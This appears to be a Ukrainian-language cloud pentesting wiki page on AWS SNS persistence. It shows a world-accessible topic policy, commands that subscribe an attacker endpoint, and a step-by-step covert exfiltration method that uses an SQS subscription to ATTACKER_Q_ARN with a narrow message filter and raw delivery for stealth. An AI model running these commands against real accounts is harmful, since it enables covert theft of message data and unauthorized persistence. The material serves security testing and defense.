# AWS - SNS Персистентність {{#include ../../../../banners/hacktricks-training.md}} ## SNS Для отримання додаткової інформації див.: {{#ref}} ../../aws-services/aws-sns-enum.md {{#endref}} ### Персистентність Під час створення **SNS topic** потрібно в IAM policy вказати, **хто має доступ на читання та запис**. Можна вказати зовнішні акаунти, ARN ролей або **навіть "\*"**.\ Наведена політика надає всім в AWS доступ для читання та запису у SNS topic з назвою **`MySNS.fifo`**: ```json { "Version": "2008-10-17", "Id": "__default_policy_ID", "Statement": [ { "Sid": "__default_statement_ID", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": [ "SNS:Publish", "SNS:RemovePermission", "SNS:SetTopicAttributes", "SNS:DeleteTopic", "SNS:ListSubscriptionsByTopic", "SNS:GetTopicAttributes", "SNS:AddPermission", "SNS:Subscribe" ], "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", "Condition": { "StringEquals": { "AWS:SourceOwner": "318142138553" } } }, { "Sid": "__console_pub_0", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Publish", "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" }, { "Sid": "__console_sub_0", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Subscribe", "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" } ] } ``` ### Створення підписників Щоб продовжити exfiltrating всі повідомлення з усіх тем, зловмисник може **створити підписників для всіх тем**. Зауважте, що якщо **тема є типу FIFO**, то можна використовувати лише підписників, які працюють через протокол **SQS**. ```bash aws sns subscribe --region \ --protocol http \ --notification-endpoint http:/// \ --topic-arn ``` ### Сховане, селективне exfiltration via FilterPolicy on MessageBody Зловмисник із правами `sns:Subscribe` та `sns:SetSubscriptionAttributes` на topic може створити приховану SQS підписку, яка переадресовує лише ті повідомлення, тіло JSON яких відповідає дуже вузькому фільтру (наприклад, `{"secret":"true"}`). Це знижує обсяг і ймовірність виявлення, при цьому все ще дозволяє exfiltrating конфіденційних записів. **Potential Impact**: Сховане, малошумне exfiltration тільки цільових SNS повідомлень з жертви topic. Кроки (AWS CLI): - Переконайтесь, що політика SQS черги атакуючого дозволяє `sqs:SendMessage` від жертви `TopicArn` (Condition `aws:SourceArn` дорівнює `TopicArn`). - Створіть SQS підписку на topic: ```bash aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN ``` - Налаштуйте фільтр так, щоб він працював на message body і відповідав лише `secret=true`: ```bash aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}' ``` - Опційна прихованість: увімкніть raw delivery, щоб у отримувача потрапляв лише сирий payload: ```bash aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true ``` - Валідація: опублікуйте два повідомлення і підтвердіть, що лише перше доставлено в чергу атакуючого. Приклад payloads: ```json {"secret":"true","data":"exfil"} {"secret":"false","data":"benign"} ``` - Очистка: відпишіться та видаліть чергу SQS атакуючого, якщо вона була створена для тестування persistence. {{#include ../../../../banners/hacktricks-training.md}}